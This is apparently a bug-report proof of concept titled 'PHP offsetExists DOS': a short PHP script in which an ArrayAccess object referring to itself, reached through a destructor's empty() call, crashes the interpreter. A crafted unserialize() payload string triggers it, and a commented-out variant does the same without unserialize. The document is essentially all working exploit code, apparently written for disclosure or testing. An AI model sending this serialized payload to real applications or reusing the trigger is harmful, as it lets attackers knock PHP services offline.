PHP offsetExists DOS

OffsetExists_DOS

<?php

class Obj implements ArrayAccess {


	public function offsetSet($key, $value) { 
	}

	public function offsetGet($key) {
		
	}

	public function offsetExists($key) {
		return isset($this->data[123]);

	}

	public function offsetUnset($key) {
		return;
	}
}

class A {
	function __destruct() {
		empty($this->config['username']);
	}
}


unserialize('O:1:"A":1:{s:6:"config";O:3:"Obj":1:{s:4:"data";R:2;}}');

//If you don't consider code with unserialize function call as security issue, use the code below to trigger the bug.

/*
$x = new Obj;
$x->data = &$x;

$o = new A();
$o->config = &$x;
*/

?>